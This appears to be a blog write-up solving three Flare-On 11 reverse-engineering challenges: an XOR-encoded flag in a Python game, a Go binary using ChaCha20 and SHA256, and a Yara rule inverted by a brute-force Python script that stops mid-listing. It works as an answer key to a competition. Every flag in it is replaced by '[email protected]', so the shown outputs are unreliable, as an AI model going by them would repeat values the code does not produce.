Frog
Your mission is get the frog to the “11” statue, and the game will display the flag. Enter the flag on this page to advance to the next stage.
For the first challenge this year, we are given a small Python game compiled into a Windows executable. The source file is included.
The challenge prompt instructs us that we need to get the frog to the 11 in the center in order to win the game and display the flag! Looking through the code, we can find this relevant code:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
victory_tile = pygame.Vector2(10, 10)
...
def GenerateFlagText(x, y):
key = x + y*20
encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
return ''.join([chr(ord(c) ^ key) for c in encoded])
...
if not victory_mode:
# are they on the victory tile? if so do victory
if player.x == victory_tile.x and player.y == victory_tile.y:
victory_mode = True
flag_text = GenerateFlagText(player.x, player.y)
flag_text_surface = flagfont.render(flag_text, False, pygame.Color('black'))
print("%s" % flag_text)
GenerateFlagText
contains what we’re after! And later on we see the check for if the frog is in the center. It checks the players position against victory_tile
and passes that as the arguments to GenerateFlag
. If Pygame is unavailable, we can simply paste the GenerateFlagText
function into the Python console and call it with the correct arguments.
1
2
3
4
5
6
7
8
9
10
Python 3.9.13 (tags/v3.9.13:6de2ca5, May 17 2022, 16:36:42) [MSC v.1929 64 bit (AMD64)] on win32
Type "help", "copyright", "credits" or "license" for more information.
>>> def GenerateFlagText(x, y):
... key = x + y*20
... encoded = "\xa5\xb7\xbe\xb1\xbd\xbf\xb7\x8d\xa6\xbd\x8d\xe3\xe3\x92\xb4\xbe\xb3\xa0\xb7\xff\xbd\xbc\xfc\xb1\xbd\xbf"
... return ''.join([chr(ord(c) ^ key) for c in encoded])
...
>>> GenerateFlagText(10, 10)
'[email protected]'
>>>
If PyGame is available, you can set the players start position to the winning tile by changing line 67 to player = Frog(10, 10)
.
Checksum
We recently came across a silly executable that appears benign. It just asks us to do some math… From the strings found in the sample, we suspect there are more to the sample than what we are seeing. Please investigate and let us know what you find!
For the second challenge we are just given a single executable. Running it shows that it is a command line application. the executable asks us to do some math and then enter a checksum.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
...\Flareon11\checksum>checksum.exe
Check sum: 2167 + 2272 = 4439
Good math!!!
------------------------------
Check sum: 1824 + 7485 = 9309
Good math!!!
------------------------------
Check sum: 555 + 9039 = 9594
Good math!!!
------------------------------
Check sum: 8900 + 9563 = 18463
Good math!!!
------------------------------
Check sum: 6557 + 1582 = 8139
Good math!!!
------------------------------
Check sum: 653 + 5845 = 6498
Good math!!!
------------------------------
Check sum: 7185 + 549 = 7734
Good math!!!
------------------------------
Checksum: AAAAAAAAAAAAAAAA
Maybe it's time to analyze the binary! ;)
Maybe we should listen to the binary and toss it in a disassembler. Doing this reveals the binary is written in Go.
Investigating the first part and the right side code path reveals the “Check sum” part is useless, it never does anything with the answer or the random values generated. So we can safely patch that out. The left code path asks us for the “Checksum”. We can see it also calls encoding_hex_decode
after so we’re probably meant to input hex values.
Next the code calls some ChaCha20 functions. And right before it checks if the decoded “Checksum” input is equal to 32 bytes. The data we pass in may be used for ChaCha decryption.
It looks like the code attempts to do something with some data stored in EncryptedFlagData
. We also see some SHA256 hashing going on as well. probably hashing the data or decrypted data. Looking a bit more below this reveals another function only called once main.a
. This function looks interesting. Lets look at it in Ghidra and see how it does with Go binaries.
It looks like this function takes in the SHA256 hash generated from the ChaCha decrypted data. Then that data is XOR encoded against xor_key_FlareOn2024
(FlareOn2024
), then base64 encoded and checked if it matches cQoFRQErX1YAVw1zVQdFUSxfAQNRBXUNAxBSe15QCVRVJ1pQEwd/WFBUAlElCFBFUnlaB1ULByRdBEFdfVtWVA==
. We can easily reverse this in CyberChef!
So the hash of the correctly decrypted data is 7fd7dd1d0e959f74c133c13abb740b9faa61ab06bd0ecd177645e93b1e3825dd
! But we can’t decrypt that data without the ChaCha key. Unless… the checksum of the decrypted data is also used to derive the ChaCha key! Looking back at the ChaCha code, it looks like the input passed is used for the key and nonce. And this hash passes the hex decoding requirement and it passes the 32-bytes requirement.
Sweet! But where’s the flag? Back to the dissasembly.
Okay, so we see the file REAL_FLAREON_FLAG.JPG
is being written. And before that, a call to os_UserCacheDir
. So the flag is written to %APPDATA%\REAL_FLAREON_FLAG.JPG
! Sure enough, there it is!
Array
And now for something completely different. I’m pretty sure you know how to write Yara rules, but can you reverse them?
For this challenge, we are given just a Yara file. Opening it reveals a few Yara conditions.
1
2
3
4
5
6
7
8
9
10
import "hash"
rule aray
{
meta:
description = "Matches on b7dc94ca98aa58dabb5404541c812db2"
condition:
filesize == 85 and hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2" and filesize ^ uint8(11) != 107 and uint8(55) & 128 == 0 and uint8(58) + 25 == 122 and uint8(7) & 128 == 0 and uint8(48) % 12 < 12 and uint8(17) > 31 and uint8(68) > 10 and uint8(56) < 155 and uint32(52) ^ 425706662 == 1495724241 and uint8(0) % 25 < 25 and filesize ^ uint8(75) != 25 and filesize ^ uint8(28) != 12 and uint8(35) < 160 and uint8(3) & 128 == 0 and uint8(56) & 128 == 0 and uint8(28) % 27 < 27 and uint8(4) > 30 and uint8(15) & 128 == 0 and uint8(68) % 19 < 19 and uint8(19) < 151 and filesize ^ uint8(73) != 17 and filesize ^ uint8(31) != 5 and uint8(38) % 24 < 24 and uint8(3) > 21 and uint8(54) & 128 == 0 and filesize ^ uint8(66) != 146 and uint32(17) - 323157430 == 1412131772 and hash.crc32(8, 2) == 0x61089c5c and filesize ^ uint8(77) != 22 and uint8(75) % 24 < 24 and uint8(66) < 133 and uint8(21) % 11 < 11 and uint8(46) < 154 and hash.crc32(34, 2) == 0x5888fc1b and uint8(55) > 5 and uint8(36) + 4 == 72 and filesize ^ uint8(82) != 228 and filesize ^ uint8(13) != 42 and filesize ^ uint8(6) != 39 and uint8(33) < 160 and filesize ^ uint8(55) != 244 and filesize ^ uint8(15) != 205 and filesize ^ uint8(3) != 43 and filesize ^ uint8(54) != 39 and uint8(28) & 128 == 0 and uint8(10) < 146 and filesize ^ uint8(56) != 246 and filesize ^ uint8(32) != 77 and uint8(73) > 26 and uint8(36) > 11 and uint8(70) > 6 and filesize ^ uint8(33) != 27 and uint8(48) & 128 == 0 and filesize ^ uint8(74) != 45 and uint8(27) ^ 21 == 40 and uint8(60) % 23 < 23 and filesize ^ uint8(67) != 63 and filesize ^ uint8(0) != 16 and uint8(51) % 15 < 15 and uint8(50) > 19 and uint8(27) < 147 and filesize ^ uint8(40) != 230 and filesize ^ uint8(2) != 205 and uint8(79) % 24 < 24 and uint8(69) < 148 and uint8(16) & 128 == 0 and uint8(61) % 26 < 26 and uint8(63) > 31 and uint8(14) & 128 == 0 and uint8(35) > 1 and filesize ^ uint8(11) != 33 and uint8(52) < 136 and uint8(54) > 15 and filesize ^ uint8(20) != 83 and uint8(43) > 24 and uint8(82) < 152 and uint32(59) ^ 512952669 == 1908304943 and filesize ^ uint8(79) != 186 and filesize ^ uint8(83) != 197 and uint8(39) < 134 and filesize ^ uint8(43) != 33 and uint8(72) > 10 and uint8(83) < 134 and uint8(44) % 27 < 27 and uint8(40) < 131 and uint8(80) % 31 < 31 and filesize ^ uint8(47) != 11 and uint8(55) % 11 < 11 and filesize ^ uint8(71) != 3 and uint8(65) - 29 == 70 and uint8(58) > 30 and filesize ^ uint8(37) != 37 and uint8(60) < 130 and uint8(27) & 128 == 0 and uint8(3) < 141 and uint8(73) & 128 == 0 and filesize ^ uint8(70) != 209 and filesize ^ uint8(2) != 54 and filesize ^ uint8(20) != 17 and uint8(33) > 18 and uint8(37) % 19 < 19 and filesize ^ uint8(62) != 15 and filesize ^ uint8(10) != 44 and uint8(7) % 12 < 12 and uint8(71) > 19 and filesize ^ uint8(50) != 86 and uint8(45) ^ 9 == 104 and uint8(8) < 133 and uint8(31) < 145 and uint8(14) > 20 and uint8(54) % 25 < 25 and filesize ^ uint8(49) != 156 and uint8(47) > 13 and uint8(29) > 22 and uint8(14) % 19 < 19 and filesize ^ uint8(17) != 16 and filesize ^ uint8(12) != 226 and filesize ^ uint8(65) != 28 and uint8(45) & 128 == 0 and filesize ^ uint8(6) != 129 and uint8(18) % 30 < 30 and filesize ^ uint8(62) != 246 and uint8(78) % 13 < 13 and uint8(36) & 128 == 0 and uint8(10) & 128 == 0 and uint8(62) > 1 and uint8(33) & 128 == 0 and filesize ^ uint8(83) != 31 and uint8(83) % 21 < 21 and uint8(11) > 18 and uint8(80) < 143 and uint8(81) % 14 < 14 and uint8(43) < 160 and uint8(1) > 19 and uint8(42) % 17 < 17 and uint8(44) < 147 and filesize ^ uint8(63) != 34 and filesize ^ uint8(44) != 17 and uint32(28) - 419186860 == 959764852 and uint8(74) + 11 == 116 and uint8(48) < 136 and uint8(47) < 142 and hash.crc32(63, 2) == 0x66715919 and uint8(58) < 146 and filesize ^ uint8(71) != 128 and uint8(45) < 136 and uint8(31) % 17 < 17 and uint8(43) & 128 == 0 and filesize ^ uint8(43) != 251 and uint8(65) > 1 and uint8(24) & 128 == 0 and uint8(37) < 139 and filesize ^ uint8(28) != 238 and uint8(78) & 128 == 0 and filesize ^ uint8(13) != 219 and uint8(19) % 30 < 30 and hash.sha256(14, 2) == "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f" and filesize ^ uint8(53) != 243 and uint8(81) & 128 == 0 and uint8(46) % 28 < 28 and filesize ^ uint8(65) != 215 and filesize ^ uint8(0) != 41 and uint8(84) < 129 and uint8(60) & 128 == 0 and uint8(20) > 1 and uint8(2) % 28 < 28 and uint8(58) % 14 < 14 and uint8(34) & 128 == 0 and uint8(21) & 128 == 0 and uint8(84) % 18 < 18 and uint8(74) % 10 < 10 and uint8(9) < 151 and uint8(73) % 23 < 23 and filesize ^ uint8(39) != 49 and uint8(4) % 17 < 17 and filesize ^ uint8(60) != 142 and filesize ^ uint8(69) != 30 and uint8(30) > 6 and uint8(65) & 128 == 0 and uint8(39) % 11 < 11 and uint8(13) % 27 < 27 and uint8(17) % 11 < 11 and uint8(56) % 26 < 26 and uint8(29) < 157 and uint8(57) & 128 == 0 and filesize ^ uint8(29) != 37 and uint8(77) > 5 and filesize ^ uint8(16) != 144 and uint8(37) & 128 == 0 and filesize ^ uint8(25) != 47 and uint8(67) & 128 == 0 and filesize ^ uint8(24) != 94 and uint8(68) < 138 and uint8(57) < 138 and filesize ^ uint8(27) != 43 and filesize ^ uint8(30) != 18 and filesize ^ uint8(59) != 13 and uint8(27) % 26 < 26 and uint8(56) > 8 and uint8(69) & 128 == 0 and uint8(18) & 128 == 0 and uint8(64) < 154 and uint8(76) & 128 == 0 and uint8(71) % 28 < 28 and filesize ^ uint8(84) != 3 and filesize ^ uint8(38) != 84 and uint8(32) < 140 and filesize ^ uint8(42) != 91 and uint8(40) > 15 and uint8(27) > 23 and uint8(6) % 12 < 12 and uint8(10) % 10 < 10 and uint8(8) % 21 < 21 and filesize ^ uint8(18) != 234 and uint8(68) & 128 == 0 and uint8(7) < 131 and uint8(72) < 134 and uint8(16) > 25 and uint8(12) % 23 < 23 and uint8(41) % 27 < 27 and uint8(1) % 17 < 17 and uint8(26) > 31 and hash.sha256(56, 2) == "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6" and uint8(65) < 149 and filesize ^ uint8(51) != 0 and uint8(66) > 30 and filesize ^ uint8(68) != 8 and uint8(25) % 23 < 23 and uint8(1) & 128 == 0 and filesize ^ uint8(81) != 7 and uint8(36) % 22 < 22 and uint8(24) < 148 and uint8(12) < 147 and uint8(74) < 152 and filesize ^ uint8(21) != 27 and filesize ^ uint8(23) != 18 and uint8(38) & 128 == 0 and uint8(26) % 25 < 25 and filesize ^ uint8(19) != 31 and uint8(82) > 3 and uint8(5) % 27 < 27 and uint8(5) & 128 == 0 and uint8(75) - 30 == 86 and uint8(54) < 152 and uint8(75) < 142 and uint8(20) % 28 < 28 and uint8(30) & 128 == 0 and uint32(66) ^ 310886682 == 849718389 and uint8(64) % 24 < 24 and uint32(10) + 383041523 == 2448764514 and uint8(79) & 128 == 0 and filesize ^ uint8(59) != 194 and uint8(61) & 128 == 0 and uint8(70) < 139 and uint8(77) & 128 == 0 and uint8(13) & 128 == 0 and uint8(21) < 138 and filesize ^ uint8(46) != 186 and uint8(43) % 26 < 26 and uint8(61) < 160 and filesize ^ uint8(34) != 39 and uint8(6) > 6 and uint8(35) & 128 == 0 and uint8(23) < 141 and filesize ^ uint8(82) != 32 and filesize ^ uint8(48) != 29 and uint8(59) & 128 == 0 and uint8(40) % 19 < 19 and filesize ^ uint8(39) != 18 and filesize ^ uint8(45) != 146 and uint8(80) & 128 == 0 and uint8(16) < 134 and uint8(74) > 1 and uint8(23) & 128 == 0 and uint8(32) & 128 == 0 and filesize ^ uint8(47) != 119 and filesize ^ uint8(63) != 135 and uint8(64) > 27 and uint32(37) + 367943707 == 1228527996 and uint8(82) % 28 < 28 and uint8(32) > 28 and filesize ^ uint8(24) != 217 and uint8(53) < 144 and uint8(29) & 128 == 0 and uint32(22) ^ 372102464 == 1879700858 and uint8(52) % 23 < 23 and filesize ^ uint8(76) != 88 and filesize ^ uint8(55) != 17 and uint8(26) & 128 == 0 and uint8(51) > 7 and uint8(12) > 19 and filesize ^ uint8(14) != 99 and filesize ^ uint8(37) != 141 and filesize ^ uint8(14) != 161 and uint8(45) % 17 < 17 and uint8(33) % 25 < 25 and filesize ^ uint8(67) != 55 and filesize ^ uint8(53) != 19 and uint8(30) < 131 and uint8(0) & 128 == 0 and uint8(66) & 128 == 0 and uint8(41) > 5 and uint8(71) & 128 == 0 and uint8(29) % 12 < 12 and uint8(4) < 139 and uint8(77) < 154 and filesize ^ uint8(12) != 116 and uint8(39) > 7 and uint8(75) & 128 == 0 and uint8(78) > 24 and uint8(69) > 25 and uint8(2) + 11 == 119 and uint8(15) < 156 and filesize ^ uint8(69) != 241 and filesize ^ uint8(35) != 18 and filesize ^ uint8(17) != 208 and hash.md5(0, 2) == "89484b14b36a8d5329426a3d944d2983" and filesize ^ uint8(4) != 23 and uint8(15) % 16 < 16 and filesize ^ uint8(75) != 35 and uint32(46) - 412326611 == 1503714457 and uint8(11) % 27 < 27 and hash.crc32(78, 2) == 0x7cab8d64 and uint8(83) & 128 == 0 and filesize ^ uint8(26) != 161 and uint8(49) % 13 < 13 and filesize ^ uint8(18) != 33 and uint8(6) < 155 and uint8(41) < 140 and filesize ^ uint8(68) != 135 and filesize ^ uint8(9) != 5 and uint8(9) & 128 == 0 and filesize ^ uint8(36) != 95 and uint8(7) > 18 and filesize ^ uint8(23) != 242 and uint8(62) < 146 and uint8(49) & 128 == 0 and uint8(62) & 128 == 0 and uint8(4) & 128 == 0 and filesize ^ uint8(58) != 12 and uint8(72) & 128 == 0 and uint8(18) > 13 and filesize ^ uint8(42) != 1 and uint8(59) % 23 < 23 and uint8(53) & 128 == 0 and filesize ^ uint8(78) != 163 and uint8(60) > 14 and uint8(47) % 18 < 18 and uint8(79) > 31 and uint8(22) < 152 and filesize ^ uint8(64) != 50 and filesize ^ uint8(19) != 222 and uint8(81) < 131 and uint8(7) - 15 == 82 and filesize ^ uint8(51) != 204 and uint8(28) > 27 and uint32(70) + 349203301 == 2034162376 and filesize ^ uint8(61) != 94 and uint8(76) > 2 and filesize ^ uint8(77) != 223 and uint8(19) > 4 and uint8(80) > 2 and filesize ^ uint8(35) != 120 and filesize ^ uint8(22) != 31 and uint8(10) > 9 and uint8(22) > 20 and uint8(38) < 135 and filesize ^ uint8(10) != 205 and uint8(25) & 128 == 0 and uint8(13) < 147 and uint8(42) & 128 == 0 and hash.md5(76, 2) == "f98ed07a4d5f50f7de1410d905f1477f" and filesize ^ uint8(48) != 99 and filesize ^ uint8(16) != 7 and uint8(11) < 154 and filesize ^ uint8(76) != 30 and uint8(30) % 15 < 15 and filesize ^ uint8(74) != 193 and filesize ^ uint8(52) != 22 and filesize ^ uint8(36) != 6 and uint8(22) % 22 < 22 and uint8(44) & 128 == 0 and uint8(50) & 128 == 0 and filesize ^ uint8(25) != 224 and uint8(15) > 26 and filesize ^ uint8(60) != 43 and uint8(22) & 128 == 0 and uint8(82) & 128 == 0 and uint32(80) - 473886976 == 69677856 and uint8(75) > 30 and uint8(32) % 17 < 17 and filesize ^ uint8(15) != 27 and uint8(67) % 16 < 16 and uint8(23) > 2 and uint8(62) % 13 < 13 and uint8(34) < 138 and filesize ^ uint8(31) != 32 and uint8(72) % 14 < 14 and filesize ^ uint8(81) != 242 and filesize ^ uint8(54) != 141 and uint8(63) & 128 == 0 and uint8(0) < 129 and uint8(70) % 21 < 21 and uint8(8) & 128 == 0 and uint8(61) > 12 and uint8(24) > 22 and uint8(53) % 23 < 23 and uint8(46) & 128 == 0 and uint8(24) % 26 < 26 and uint32(3) ^ 298697263 == 2108416586 and uint8(21) - 21 == 94 and uint8(67) < 144 and uint8(48) > 15 and uint8(37) > 16 and uint8(42) < 157 and uint8(16) ^ 7 == 115 and uint8(13) > 21 and filesize ^ uint8(45) != 19 and uint8(47) & 128 == 0 and filesize ^ uint8(80) != 56 and filesize ^ uint8(78) != 6 and uint8(76) % 24 < 24 and uint8(73) < 136 and filesize ^ uint8(52) != 238 and uint8(50) % 11 < 11 and filesize ^ uint8(7) != 15 and filesize ^ uint8(66) != 51 and uint8(59) > 4 and uint8(46) > 22 and filesize ^ uint8(3) != 147 and uint8(63) % 30 < 30 and uint8(36) < 146 and uint8(26) < 132 and uint8(6) & 128 == 0 and filesize ^ uint8(30) != 249 and uint32(41) + 404880684 == 1699114335 and filesize ^ uint8(5) != 243 and uint8(70) & 128 == 0 and uint8(9) % 22 < 22 and uint8(59) < 141 and filesize ^ uint8(79) != 104 and filesize ^ uint8(5) != 43 and filesize ^ uint8(72) != 219 and uint8(52) > 25 and uint8(74) & 128 == 0 and uint8(28) < 160 and uint8(51) & 128 == 0 and hash.md5(50, 2) == "657dae0913ee12be6fb2a6f687aae1c7" and uint8(83) > 16 and uint8(31) > 7 and uint8(84) & 128 == 0 and filesize ^ uint8(46) != 18 and uint8(2) > 20 and uint8(5) < 158 and filesize ^ uint8(32) != 30 and filesize ^ uint8(50) != 219 and uint8(26) - 7 == 25 and uint8(53) > 24 and uint8(77) % 24 < 24 and uint8(3) % 13 < 13 and filesize ^ uint8(9) != 164 and filesize ^ uint8(80) != 236 and uint8(65) % 22 < 22 and filesize ^ uint8(84) != 231 and filesize ^ uint8(49) != 10 and uint8(67) > 27 and uint8(34) % 19 < 19 and uint8(64) & 128 == 0 and filesize ^ uint8(27) != 244 and uint8(12) & 128 == 0 and uint8(51) < 139 and uint8(35) % 15 < 15 and uint8(5) > 14 and filesize ^ uint8(34) != 115 and filesize ^ uint8(38) != 8 and filesize ^ uint8(72) != 37 and uint8(20) & 128 == 0 and uint8(17) < 150 and filesize ^ uint8(70) != 41 and uint8(66) % 16 < 16 and uint8(17) & 128 == 0 and uint8(19) & 128 == 0 and filesize ^ uint8(33) != 157 and uint8(21) > 7 and uint8(58) & 128 == 0 and uint8(71) < 130 and uint8(41) & 128 == 0 and uint8(57) > 11 and hash.md5(32, 2) == "738a656e8e8ec272ca17cd51e12f558b" and filesize ^ uint8(8) != 2 and filesize ^ uint8(57) != 186 and uint8(11) & 128 == 0 and uint8(2) < 147 and uint8(23) % 16 < 16 and uint8(78) < 141 and uint8(38) > 18 and filesize ^ uint8(41) != 233 and uint8(18) < 137 and uint8(40) & 128 == 0 and filesize ^ uint8(21) != 188 and filesize ^ uint8(57) != 14 and filesize ^ uint8(4) != 253 and uint8(14) < 153 and uint8(31) & 128 == 0 and uint8(81) > 11 and uint8(2) & 128 == 0 and filesize ^ uint8(22) != 191 and uint8(44) > 5 and uint8(84) + 3 == 128 and uint8(20) < 135 and filesize ^ uint8(73) != 61 and filesize ^ uint8(26) != 44 and uint8(1) < 158 and filesize ^ uint8(29) != 158 and uint8(49) < 129 and filesize ^ uint8(64) != 158 and uint8(25) < 154 and uint8(63) < 129 and uint8(84) > 26 and uint8(39) & 128 == 0 and uint8(25) > 27 and uint8(49) > 27 and uint8(9) > 23 and filesize ^ uint8(7) != 221 and uint8(50) < 138 and uint8(76) < 156 and filesize ^ uint8(61) != 239 and uint8(57) % 27 < 27 and filesize ^ uint8(8) != 107 and uint8(79) < 146 and filesize ^ uint8(40) != 49 and uint8(0) > 30 and uint8(45) > 17 and uint8(16) % 31 < 31 and filesize ^ uint8(1) != 232 and filesize ^ uint8(56) != 22 and uint8(42) > 3 and uint8(52) & 128 == 0 and uint8(69) % 30 < 30 and uint8(55) < 153 and filesize ^ uint8(41) != 74 and filesize ^ uint8(1) != 0 and filesize ^ uint8(44) != 96 and filesize ^ uint8(58) != 77 and uint8(34) > 18 and uint8(8) > 3
}
Yikes. Well. Looking through some of the conditions, there are clues. For example, we can get the file size with this rule: filesize == 85
. That’s a bit large for a flag, so there is probably more contents in the file or the solution is encoded. We are also given the MD5 hash of the file. Looking at the rules, some appear to be not helpful. For example, byte position 23
has the following rules: uint8(23) % 16 < 16
, uint8(23) > 2
, filesize ^ uint8(23) != 242
. None of these tell us the exact values, so we are expected to brute force the byte or guess from context. Some though do give us the exact bytes. For example uint8(27) ^ 21 == 40
. So let’s filter out only the exact values.
There are also sections that involve hashing or CRC’ing portions. For example hash.md5(0, 2) == "89484b14b36a8d5329426a3d944d2983"
. That’s only two bytes which means it can be easily bruteforced, so we’ll keep those too. With this knowledge and some clever regexes, we can greatly reduce the number of conditions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
filesize == 85
hash.md5(0, filesize) == "b7dc94ca98aa58dabb5404541c812db2"
uint8(58) + 25 == 122
uint32(52) ^ 425706662 == 1495724241
uint32(17) - 323157430 == 1412131772
hash.crc32(8, 2) == 0x61089c5c
hash.crc32(34, 2) == 0x5888fc1b
uint8(36) + 4 == 72
uint8(27) ^ 21 == 40
uint32(59) ^ 512952669 == 1908304943
uint8(65) - 29 == 70
uint8(45) ^ 9 == 104
uint32(28) - 419186860 == 959764852
uint8(74) + 11 == 116
hash.crc32(63, 2) == 0x66715919
hash.sha256(14, 2) == "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f"
hash.sha256(56, 2) == "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6"
uint8(75) - 30 == 86
uint32(66) ^ 310886682 == 849718389
uint32(10) + 383041523 == 2448764514
uint32(37) + 367943707 == 1228527996
uint8(2) + 11 == 119
hash.md5(0, 2) == "89484b14b36a8d5329426a3d944d2983"
uint32(46) - 412326611 == 1503714457
hash.crc32(78, 2) == 0x7cab8d64
uint8(7) - 15 == 82
uint32(70) + 349203301 == 2034162376
hash.md5(76, 2) == "f98ed07a4d5f50f7de1410d905f1477f"
uint32(80) - 473886976 == 69677856
uint32(3) ^ 298697263 == 2108416586
uint8(21) - 21 == 94
uint8(16) ^ 7 == 115
uint32(41) + 404880684 == 1699114335
hash.md5(50, 2) == "657dae0913ee12be6fb2a6f687aae1c7"
uint8(26) - 7 == 25
hash.md5(32, 2) == "738a656e8e8ec272ca17cd51e12f558b"
uint8(84) + 3 == 128
uint8(23) & 128 == 0
From around 124 conditions down to 38. Much more manageable! Hopefully this can get us enough of the output to easily guess or bruteforce the remaining bytes. From here we do some scripting in Python. We can use the struct
module for the data types and hashlib
for the hash checking and bruteforcing. First we need to be able to set and get data for the different types. Also some quick wrappers for hashlib
functions.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def get_uint8(data, offset):
return data[offset]
def get_uint32(data, offset):
return struct.unpack("<I", data[offset:offset+4])[0]
def set_uint8(data, offset, value):
data[offset] = value
def set_uint32(data, offset, value):
data[offset:offset+4] = struct.pack("<I", value)
def calculate_hash_md5(data, start, length):
return hashlib.md5(data[start:start+length]).hexdigest()
def calculate_hash_sha256(data, start, length):
return hashlib.sha256(data[start:start+length]).hexdigest()
def calculate_hash_crc32(data, start, length):
return zlib.crc32(data[start:start+length]) & 0xffffffff
We need to be able to bruteforce the hash sections.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
def bruteforce_md5_section(data, start, length, expected_hash):
for attempt in itertools.product(range(256), repeat=length):
data[start:start+length] = attempt
if calculate_hash_md5(data, start, length) == expected_hash:
print(f"MD5 match found for range {start}-{start+length}: {attempt}")
return True
return False
def bruteforce_sha256_section(data, start, length, expected_hash):
for attempt in itertools.product(range(256), repeat=length):
data[start:start+length] = attempt
if calculate_hash_sha256(data, start, length) == expected_hash:
print(f"SHA-256 match found for range {start}-{start+length}: {attempt}")
return True
return False
def bruteforce_crc32_section(data, start, length, expected_hash):
for attempt in itertools.product(range(256), repeat=length):
data[start:start+length] = attempt
if calculate_hash_crc32(data, start, length) == expected_hash:
print(f"CRC32 match found for range {start}-{start+length}: {attempt}")
return True
return False
Then we can start setting the conditions we have.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
set_uint8(data, 58, 97)
set_uint8(data, 36, 68)
set_uint8(data, 65, 99)
set_uint8(data, 45, 104 ^ 9)
set_uint8(data, 74, 105)
set_uint8(data, 75, 116)
set_uint8(data, 7, 97)
set_uint8(data, 2, 108)
set_uint8(data, 21, 115)
set_uint8(data, 16, 115 ^ 7)
set_uint8(data, 26, 32)
set_uint8(data, 84, 125)
set_uint32(data, 52, 1495724241 ^ 425706662)
set_uint32(data, 17, 1412131772 + 323157430)
set_uint32(data, 59, 512952669 ^ 1908304943)
set_uint32(data, 28, 419186860 + 959764852)
set_uint32(data, 66, 310886682 ^ 849718389)
set_uint32(data, 10, 2448764514 - 383041523)
set_uint32(data, 37, 1228527996 - 367943707)
set_uint32(data, 46, 1503714457 + 412326611)
set_uint32(data, 70, 2034162376 - 349203301)
set_uint32(data, 80, 473886976 + 69677856)
set_uint32(data, 3, 2108416586 ^ 298697263)
set_uint32(data, 41, 1699114335 - 404880684)
And then do the bruteforcing.
1
2
3
4
5
6
7
8
9
10
bruteforce_md5_section(data, 0, 2, "89484b14b36a8d5329426a3d944d2983")
bruteforce_md5_section(data, 50, 2, "657dae0913ee12be6fb2a6f687aae1c7")
bruteforce_md5_section(data, 32, 2, "738a656e8e8ec272ca17cd51e12f558b")
bruteforce_md5_section(data, 76, 2, "f98ed07a4d5f50f7de1410d905f1477f")
bruteforce_sha256_section(data, 14, 2, "403d5f23d149670348b147a15eeb7010914701a7e99aad2e43f90cfa0325c76f")
bruteforce_sha256_section(data, 56, 2, "593f2d04aab251f60c9e4b8bbc1e05a34e920980ec08351a18459b2bc7dbf2f6")
bruteforce_crc32_section(data, 8, 2, 0x61089c5c)
bruteforce_crc32_section(data, 34, 2, 0x5888fc1b)
bruteforce_crc32_section(data, 63, 2, 0x66715919)
bruteforce_crc32_section(data, 78, 2, 0x7cab8d64)
Then we can check to see if the conditions are correct and output the data! After running a couple times and fixing any typos that might have been made, we can see we’re only missing 5 bytes before the flag! This might have been due to missing some conditions with the regexes or just got missed when adding them to the code. Nevertheless, we can see from the output that it’s another Yara rule, so it’s easy to guess the remaining bytes. And with that, we have the verified correct to-the-byte flag! Here’s the final output:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
MD5 match found for range 0-2: (114, 117)
MD5 match found for range 50-52: (51, 65)
MD5 match found for range 32-34: (117, 108)
MD5 match found for range 76-78: (105, 111)
SHA-256 match found for range 14-16: (32, 115)
SHA-256 match found for range 56-58: (102, 108)
CRC32 match found for range 8-10: (114, 101)
CRC32 match found for range 34-36: (101, 65)
CRC32 match found for range 63-65: (110, 46)
CRC32 match found for range 78-80: (110, 58)
bytearray(b'rule flareon { strings: $f = "[email protected]" condition: $f }')
Output: rule flareon { strings: $f = "[email protected]" condition: $f }
All conditions satisfied! Wooooo!
And here’s the final script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
import hashlib
import zlib
import struct
import itertools
# Utility functions
def get_uint8(data, offset):
return data[offset]
def get_uint32(data, offset):
return struct.unpack("<I", data[offset:offset+4])[0]
def set_uint8(data, offset, value):
data[offset] = value
def set_uint32(data, offset, value):
data[offset:offset+4] = struct.pack("<I", value)
def calculate_hash_md5(data, start, length):
return hashlib.md5(data[start:start+length]).hexdigest()
def calculate_hash_sha256(data, start, length):
return hashlib.sha256(data[start:start+length]).hexdigest()
def calculate_hash_crc32(data, start, length):
return zlib.crc32(data[start:start+length]) & 0xffffffff
def bruteforce_md5_section(data, start, length, expected_hash):
for attempt in itertools.product(range(256), repeat=length):
data[start:start+length] = attempt
if calculate_hash_md5(data, start, length) == expected_hash:
print(f"MD5 match found for range {start}-{start+length}: {attempt}")
return True
return False
def bruteforce_sha256_section(data, start, length, expected_hash):
for attempt in itertools.product(range(256), repeat=length):
data[start:start+length] = attempt
if calculate_hash_sha256(data, start, length) == expected_hash:
print(f"SHA-256 match found for range {start}-{start+length}: {attempt}")
return True
return False
def bruteforce_crc32_section(data, start, length, expected_hash):
